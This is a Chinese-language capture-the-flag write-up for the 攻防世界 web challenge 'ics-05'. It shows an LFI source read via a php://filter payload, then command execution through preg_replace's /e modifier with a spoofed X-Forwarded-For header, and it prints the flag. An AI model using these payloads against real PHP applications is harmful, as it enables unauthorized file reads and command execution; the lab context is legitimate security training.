攻防世界-Web-ics-05

根据题目提示直接进入设备维护中心

点击云平台设备维护中心发现page=index

LFI漏洞的黑盒判断方法:

单纯的从URL判断的话,URL中path、dir、file、pag、page、archive、p、eng、语言文件等相关关键字眼的时候,可能存在文件包含漏洞

利用LFI来查看源码

index.php?page=php://filter/read=convert.base64-encode/resource=index.php

为什么中间要转base64编码,如果不转码,则相当于进行请求网页(继续打开网页)

解码base64得到源码

使用burp出现中文乱码,找到一个在线解密网站

https://base64.us/

审计代码得出关键部分

利用preg_replace /e代码执行漏洞 

具体参考https://www.jb51.net/article/145649.htm

preg_replace( pattern , replacement , subject ) : pattern指明/e标志时 ,preg_replace()会将replacement部分的代码当作PHP代码执行 (简单的说就是将replacement参数值放入eval()结构中)

函数作用:搜索subject中匹配pattern的部分,以replacement进行替换。
$pattern: 要搜索的模式,可以是字符串或一个字符串数组。
$replacement: 用于替换的字符串或字符串数组。
$subject: 要搜索替换的目标字符串或字符串数组。

也就是说,patsub有相同部分,rep的代码就会执行。

根据源码分析X-Forwarded-For改成127.0.0.1之后,GET进三个参数。然后调用了preg_replace函数。并且没有对pat进行过滤,所以可以传入"/e"触发漏洞

ls查看文件目录

index.php?pat=/test/e&rep=system("ls")&sub=test

使用cd进入目标文件,并查看该文件夹下文件

system("cd%20s3chahahaDir%26%26+ls")

此处不能使用空格隔开,可用%20或者+代替,%26%26&&&&意思是当前面命令执行成功时,继续执行后面的命令

看到flag.php,使用cat命令查看flag.php中的内容

/index.php?pat=/test/e&rep=system("cat%20s3chahahaDir/flag/flag.php

cyberpeace{4e74a628dc0472e23b457a8c735edfbd}

参考链接:https://www.jianshucom/p/5a502873635b

菜鸟上路,多多指教

猜你喜欢

转载自www.cnblogs.com/injection/p/13176217.html